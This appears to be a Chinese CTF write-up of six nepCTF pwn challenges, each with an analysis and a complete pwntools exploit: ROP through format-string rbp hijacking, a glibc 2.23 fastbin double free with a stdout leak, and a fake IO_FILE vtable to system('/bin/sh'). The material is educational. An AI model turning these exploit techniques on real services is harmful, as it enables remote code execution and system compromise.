nepCTF [签到] 送你一朵小红花
保护
分析
- 通过查看字符串,找到后门函数,由于没有被引用,因此IDA并没有识别出来
- main函数中有一个很明显的溢出,并且malloc中存放的是函数指针
- 由于开启了PIE,因此后门函数的地址是未知的
- 但是malloc中已经有一个在后门函数附近的函数指针了,因此后门函数与已经有的函数指针,只有低2B不同
- 并且由于4K对齐,低12bit保持不变,因此只需要partial overwrite即可,需啊哟猜测4bit
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context(arch='amd64', os='linux')
for i in range(2**4):
try:
sh = remote('node2.hackingfor.fun', 32799)
#gdb.attach(sh, 'break *'+hex(proc_base+0x1721))
exp = '\x00'*0x10
exp+= p16(0xE4E1)
sh.send(exp)
sh.interactive()
except:
continue
nepCTF easypwn
保护
没有PIE,没Canary,只可能事ROP的题了
分析
- 我们的输入都被复制到bss段上面,很明显的,这是为我们写ROP做准备,不然无法直到ret到哪里
- 整个程序只有一个格式化字符串漏洞,而且只有7B,我们需要利用这个漏洞来开启ROP
- 题目只说了是2.27,但是具体是那个小版本没说,可以先利用格式化字符串泄露libc
- 栈环境
可以利用保存在栈上的libc_start_main的返回地址去泄露libc的最低12bit
远程打出来发现是2.27 UB1.3
- 7B,只能用类似%xx$hhn的exp,也就是说只够我们任意地址写入一个00的,这时候就用很多种思路了
- 打GOT表,让试试能否让函数正好偏移到可利用的位置,失败
- 打IO结构体,但是未知libc地址,后续也没有scanf,失败
- 通过%100c在buffer输出很多字符,从而再memcpy中产生栈溢出,但是被snprintf的7B限制住了,失败
- 利用RBP链表劫持caller保存在栈上的,这个技巧很通用,下面详细说明
- 从rbp指向的开始,到rsp结束的栈区域称之为一个函数栈帧
- 当函数A调用函数B时,B需要保证A的函数栈帧不变
- 因此再进入函数B时有如下指令
push rbp ;保存A的rbp,此时rsp指向栈中A的rbp mov rsp, rbp ;rbp=rsp,此时A的栈底成为B的栈顶,此时rbpA的rbp sub rsp, X ;分配X空间,此时[rbp, rsp]成为B自己的栈帧 ... leave ;恢复栈空间, rsp=rbp, pop rbp ret ;返回
- 我们可以发现一个天然的栈链表:B的rbp指向保存再栈中A的rbp,
递推下去,A的rbp也是如此 - 观察snprintf时的栈环境,可以很明显的看到一条链表
- 那么与格式化字符串有什么关系呢?
- 格式化字符串的%N$n参数,需要第N个参数为一个指针才能完成写出
- 这个rbp链表刚好可以当做我们的参数,而且还不需要我们泄露栈地址,就可以劫持caller()的rbp
- 假设有
caller1()=>caller2()=>caller3()
的调用链条,再caller3中我们其rbp链表,修改了保存在栈上的caller2()的rbp为X- 当
caller3()
经过leave; ret;
返回到caller2()时,caller2()的rbp=X - 当
caller2()
经过leave; ret;
返回到caller1()时,有- leave:
- rsp = rbp = X
- pop rbp,rsp=X+8
- ret:
pop rip,从而开启ROP
- leave:
- 当
有了上述思路,本题就很容易了
- 先格式化字符串修改caller()’s rbp最低字节为00,rbp刚好可以偏移到我们可控的位置,开启ROP
- 整个ROP链表可以描述为
- ROP1:
- 劫持rbp为ROP2的地址
- puts(puts的GOT地址)泄露libc地址
- 返回到leave; ret,通过栈迁移开启ROP2
- ROP2:
- 劫持rbp为ROP3的地址
- read(0, ROP3, len)读入新的ROP,因为需要利用上libc泄露的地址
- 返回到leave; ret,栈迁移开启ROP3
- ROP3:
- syscall调用execve(“/bin/sh”, 0, 0)
- 要避免使用system,因为system对rsp的对齐有要求,可能会导致意外的SIGV
- ROP1:
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
gdb.attach(sh, 'break *0x400b7e')
else: #remtoe
sh = remote('node2.hackingfor.fun', 34092)
def TeamName(name):
sh.recvuntil('Please input your teamname: ')
sh.send(name)
def NameIntro(name, intro):
sh.recvuntil('input your name\n')
sh.send(name)
sh.recvuntil('input introduction\n')
sh.send(intro)
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x400a1f
#ROP2 read ROP3 and trigger it
exp = p64(0x602380) #rbp
exp+= p64(pop_rdi_ret) #read(0, buf, size)
exp+= p64(0)
exp+= p64(pop_rsi_r15_ret)
exp+= p64(0x602380)
exp+= p64(0)
exp+= p64(elf.symbols['read'])
exp+= p64(leave_ret)
exp = exp.ljust(0x50, 'A')
TeamName(exp)
#ROP1, leak libc addr and begin ROP2
name = "%22$hhn" #attach rbp list
Intro = p64(0x6020c0) #rbp, TeamName addr
Intro+= p64(pop_rdi_ret) #puts(@GOT)
Intro+= p64(elf.got['puts'])
Intro+= p64(elf.plt['puts'])
Intro+= p64(leave_ret) #stack migrate
Intro+= "/bin/sh\x00"
Intro = Intro.ljust(0x38, 'A')
NameIntro(name, Intro)
sh.recv(4)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
Log('libc.address')
rop = p64(0) #caller's rbp
rop+= p64(pop_rdi_ret) #rdi
rop+= p64(0x602149)
rop+= p64(pop_rsi_r15_ret) #rsi
rop+= p64(0)
rop+= p64(0)
rop+= p64(libc.address+0x1b96) #rdx
rop+= p64(0)
rop+= p64(libc.address+0x43ae8) #rax
rop+= p64(59)
rop+= p64(libc.address+0xd2745) #syscall
sleep(1)
sh.send(rop)
sh.interactive()
环境问题
本地UB18.04的测试中,是刚好差了8B无法开启ROP的,但是再UB16.04中就可以正常进行,所以本地调试时还是要多试试环境
nepCTF easystack
保护
分析
- 先把flag read到bss上
- Main函数
- 有一个很明显的栈溢出,但自己实现了一个canary机制
- 当发现canary被修改过之后,会调用
__stack_chk_fail()
函数
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
- 其中__libc_argv定义在libc的bss段,指向栈中的文件名指针argv
- __libc_argv => argv => 文件名
- 因此我们只要栈溢出的够多,覆盖argv,就可完成一个任意读,本题和2018网鼎杯 GUESS 很像,就不多说了
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node2.hackingfor.fun', 31255)
#gdb.attach(sh, 'break *0x400A8E')
sleep(1)
exp = 'A'*0x1c8
exp+= p64(0x6CDE20)
#sh.recvuntil('give me your answer!!\n')
sh.sendline(exp)
sh.interactive()
nepCTF sooooeasy
保护
程序分析
- 结构体
struct Note{ bool in_use; char* name; char msg[0x18]; }; sizeof(Note)=0x28
- Add
- 只能使用0xF次
- 分配Note并清空
- note = malloc(struct Note);
- memset(note, 0, 0x28)
- 分配任意大小的name并进行写入
- 读入任意大小的size
- tmp = malloc(sz),
- read(0, tmp, sz);
- note->name=tmp
- 读入0x17长的msg
- scanf(“%23s”, ¬e->msg)
- note->in_use = 1
- 记录写入到PtrArr中
- PtrArr[idx] = note
- Delete
- 读入idx:0<=idx<=0x13
- PtrArr[idx]->in_use = 0
- free(PtrArr[idx]->name)
思路
- Delete之后没有设置为null,造成double free
- 堆题libc都很重要,题目没给libc,先用double free测一下
- 如果报fastbin double free 那就是2.23~2.26
- 2.23下会检查free的fastbin chunk是不是fastbin链表中的第一个chunk
- 如果没报错那就是2.27~2.28
- 因为有tcahce,2.27的tcache没有任何检查
- 如果报tcache double free那么就是2.29及其以上
- 因为2.29以后tcache增加了key字段防止tcache double free
- 如果报fastbin double free 那就是2.23~2.26
不仅知道了是2.23还可以直接更绝低12bit确定libc的小版本
- 2.23下直接fastbin double free,通过隔块释放的方法绕过检查
- fastbin attack的要点就在于要伪造size
- 没开seccomp因此可以利用__malloc_hook前面的0x7F,去伪造一个0x70的大小
- 思路清晰了,直接fastbin double free打malloc hook+OGG,可能要realloc调整栈
- 顺便说一句:如果是要打__free_hook,附近没有0x7F怎么办呢?
- malloc_state前面有0x7F,可以利用这个0x7F打malloc_state控制top chunk指针,不断申请让top chunk最终分配到__free_hook
- 还是打malloc_state,但这次控制fastbin数组,利用fastbin jump手法,一边伪造size一边分配,这个手法没什么文章说,我后面可能会再发一篇细说
- 题目没给show功能,因此我们只能通过UB的fd指针构造一个stdout指针,然后打IO
- 先得到一个UBchunk,分配到后partial overwrite残留的fd指针,得到指向stdout附近的的指针
UBchunk->FC_near_stdout
- 不能直接指向stdout,要指向stdout前面的0x7F来伪造size
- 构造一个double free
Fastbin->A<->B
- 为了绕过检查,A,B,UBchunk的size都一样
- 分配Fastbin得到A,partial overwrite残留的堆指针,使其指向UBchunk
fastbin->B->A->UBchunk->FC_near_stdout
- 接下来不断分配就可达到stdout
- 先得到一个UBchunk,分配到后partial overwrite残留的fd指针,得到指向stdout附近的的指针
- 打stdout的手法:
- 当控制
stdout->_flag =0xFBAD180
0后 - 输出时会打印
[stdout->_IO_write_base, stdout->_IO_write_ptr)
之间的内容
- 当控制
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
for i in range(100):
try:
sh = remote('node2.hackingfor.fun', 38018)
def Cmd(n):
sh.recvuntil('Your choice : ')
sh.send(str(n).ljust(8, '\x00'))
def Add(sz, name, msg, nl=True):
Cmd(1)
if(nl):
sh.recvuntil('size of the your name: \n')
else:
sh.recvuntil('size of the your name: ')
sh.sendline(str(sz))
if(nl):
sh.recvuntil('Your name:\n')
else:
sh.recvuntil('Your name:')
sh.send(name)
res = ''
if(nl):
res = sh.recvuntil('Your message:\n')
else:
res = sh.recvuntil('Your message:')
sh.send(msg)
return res
def Delete(idx, nl = True):
Cmd(2)
if(nl):
sh.recvuntil('mumber\'s index:\n')
else:
sh.recvuntil('mumber\'s index:')
sh.sendline(str(idx))
Add(0x90, 'A'*0x90, 'A\n') #0
Add(0x68, 'B'*0x68, 'B\n') #1
Add(0x68, 'C'*0x68, 'C\n') #2
#get a UB chunk
Delete(0) #UB<=>(A, 0xA0)
#gdb.attach(sh)
#partial overwrite UB'fd, get a 0x7F fake chunk near stdout
hb = 0xc #int(input(), 16) #0xC
Add(0x68, p16(0x5DD|(hb<<12)), 'D\n') #3 0x70+0x30 = 0xA0, D->FC near stdout
#Fastbin double Free
Delete(1) #FB[0x70]->B
Delete(2) #FB[0x70]->C->B
Delete(1) #FB[0x70]->B<->C
hb = 0xF #int(input(), 16) #0xf
#partial overwrite A's fd, Fastbin[0x70]->C->B->D->FC near stdout
Add(0x68, p16(0x060|(hb<<12)), 'B\n') #4
Add(0x68, p16(0x060|(hb<<12)), 'C\n') #5 Fastbin[0x70]->B->D->FC near stdout
Add(0x68, p16(0x060|(hb<<12)), 'B\n') #6 Fastbin[0x70]->D->FC near stdout
Add(0x68, p16(0x060|(hb<<12)), 'D\n') #7 Fastbin[0x70]->FC near stdout
#stdout attack
exp = '\x00'*(3+8*6)
exp+= p64(0xFBAD1800) #flag
exp+= p64(0)*3 #read
exp+= p8(0x58) #write_ptr
res = Add(0x68, exp, 'E\n', False)
#get addr
libc.address = u64(res[1:9]) -0x3c56a3
Log('libc.address')
if(libc.address>=0x0000800000000000): #check
sh.close()
continue
ones = [0x45226, 0x4527a, 0xf0364, 0xf1207]
OGG = libc.address + ones[2]
Log('OGG')
FC_hook = libc.address+0x3c4aed
Log('FC_hook')
#fastbin Double free
Delete(1, False) #FB[0x70]->B
Delete(2, False) #FB[0x70]->C->B
Delete(1, False) #FB[0x70]->B<->C
#attack realloc_hook, malloc_hook
Add(0x68, p64(FC_hook), 'B\n', False) #FB[0x70]->C->B->FC_hook
Add(0x68, p64(FC_hook), 'C\n', False) #FB[0x70]->B->FC_hook
Add(0x68, p64(FC_hook), 'B\n', False) #FB[0x70]->FC_hook
#Add(0x68, p64(FC_hook), 'B\n') #FB[0x70]->C->B->FC_hook
exp = '\x00'*(3)
exp+= p64(0)
exp+= p64(OGG) #realloc_hook
exp+= p64(libc.symbols['realloc']+16) #adjust stack env
Add(0x68, exp, 'F\n', False)
#trigger
#gdb.attach(sh, 'break *'+hex(proc_base+0xb0a))
Cmd(1)
sh.interactive()
except:
continue
#sh.close()
'''
telescope 0x202040+0x0000555555554000
want: 0x0000555555759070
'''
nepCTF scmt
保护
程序分析
- 直接格式化字符串泄露rand就好了,模板题
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node2.hackingfor.fun', 36380)
#gdb.attach(sh, 'break *0x400B23')
exp = '%8$x'
sh.recvuntil('tell me your name:\n')
sh.send(exp)
sh.recvuntil('Welcome!!!')
key = int(sh.recvuntil('Give', drop=True), 16)
Log('key')
sh.recvuntil('number:\n')
sh.sendline(str(key))
sh.interactive()
nepCTF superpowers
保护
程序分析
- 在进入main函数的时候并不是常规的建立栈帧,而是借助ecx又保存了一次rsp
- 这样做的目的是避免栈中的有指向返回地址的指针,让格式化字符串无法开启ROP
读文件
- 读文件可以通过读/proc/self/maps来泄露所有地址
- self是一个伪目录,表示本进程的pid
- maps保存了这个进程的内存映射
- 远程打过去,得知为2.23的libc
格式化字符串
- 长度无限制,读到栈上,可以直接拿来进行任意写
- 再进行格式化字符串之后,程序调用了
fclose(fp)
就返回了 -
main()
返回到__libc_start_main()
之后,__libc_start_main()
又会调用exit()
- 因此这里有两个攻击面:
-
fclose(fp)
:伪造fp,通过vtable获得控制权 -
exit()
:劫持_rtdl_global
结构体,伪造.fini_arrary节进行一种另类的ROP- 由于偏移问题,这种思路没成功,但还是很有借鉴意义的,所以说一下
-
劫持_rtdl_global
-
ELF节标识符
通过描述符+地址
指向节真正的位置- 0x1a代表描述的是.fini_array节的地址
- 0x1c代表描述的是.fini_array节的长度
-
_rtdl_global
结构体位于ld.so.2的bss段,用来保存载入的ELF文件 -
_rtdl_global
中通过指向ELF节标识符
的指针来找到对应节
- exit()函数再退出时,通过
_rtdl_global
找到.fini_array节
,然后执行其中的函数 - 通常ELF节标识符都是只读的,无法开刀,但是
_rtdl_global
可读可写 - 所以我们可以通过libc地址+偏移找到
_rtdl_global
的地址 - 格式化字符串修改
_rtdl_global
中的fini节指针,指向我们伪造的地方 - 同时exit()调用
.fini_array节
中函数的特点- 逆序从后往前调用
- 遍历fini时只有几条指令,栈环境很稳定
- 第一个参数正好是一个栈指针,可以用作缓冲器传递数据
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
gdb.attach(sh, '''break *0x80487B3''')
else: #remtoe
sh = remote('node2.hackingfor.fun', 34111)
def FileName(fn):
sh.recvuntil('please input filename:')
sh.sendline(fn)
def Name(name):
sh.recvuntil('what\'s you name?\n')
sh.send(name)
#leak addr
FileName('/proc/self/maps')
for i in range(5):
sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')
#fmt str
fini_arr_addr = libc.address + 0x1f59a0
Log('fini_arr_addr')
fini_arr_len_addr = libc.address + 0x1f59a8
buf = 0x0804a400
exp = fmtstr_payload(
offset = 27,
writes = {
fini_arr_len_addr: buf,
fini_arr_addr: buf+8,
#fini_arr_len section
buf: 0x1C,
buf+4: 4*3,
#fini_arr section
buf+8: 0x1a,
buf+12: buf+16, #fini arr ptr
buf+16: libc.symbols['system'],
buf+20: libc.symbols['gets'],
buf+24: libc.symbols['gets']
},
write_size = 'byte'
)
Name(exp)
sh.sendline('/bin/sh')
sh.interactive()
'''
print: break *0x80487B3
exit: break *0xf7fe8a53 / 0xf7e3677f /0xf7fe8a2f
exit call: 0xf7fe8a70
fini_arr: set *0x8049edc=0xdeadbeef
main_ret: break *0x80487DC
fini_arr_addr: 0x08049f10
'''
伪造IO_FILE
-
fclsoe()
函数会根据虚表去调用_IO_FINISH(fp)
- 2.23下并没有对
_IO_FILE
中vtable
指针检查,所以可以随意伪造 - 根据调用,我们只要把
_IO_FILE->vatble
劫持到伪造的虚表中 - 然后在伪造的虚表中令
__finish
字段为system()
- 此时
__finsh(fp)
就变成了system(fp)
,我们只要再fp开头8B中写入”/bin/sh”就可getshell
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
gdb.attach(sh, '''break *0x80487B3
break *0x80487cd''')
else: #remtoe
sh = remote('node2.hackingfor.fun', 31049)
def FileName(fn):
sh.recvuntil('please input filename:')
sh.sendline(fn)
def Name(name):
sh.recvuntil('what\'s you name?\n')
sh.send(name)
#leak addr
FileName('/proc/self/maps')
for i in range(5):
sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')
#fmt str
fp_addr = 0x0804a04c
buf = elf.bss()+0x100
system = libc.symbols['system']
Log('system')
exp = fmtstr_payload(
offset = 27,
writes = {
fp_addr: buf,
#fake FILE struct
buf: u64('/bin/sh\x00')&(0xFFFFFFFF),
buf+4: u64('/bin/sh\x00')>>(32),
buf+0x38: -1, #fd=-1 to pass by _IO_file_close_it
buf+0x48: libc.address+0x1b1870, #pointer to zero
buf+0x58: libc.address+0x1b1870, #pointer to zero
buf+0x94: buf+0xA0, #vtable ptr
#fake vtable ptr
buf+0xA8: system
},
write_size = 'byte'
)
Name(exp)
sh.interactive()
'''
print: break *0x80487B3
fclose() break *0x80487cd
'''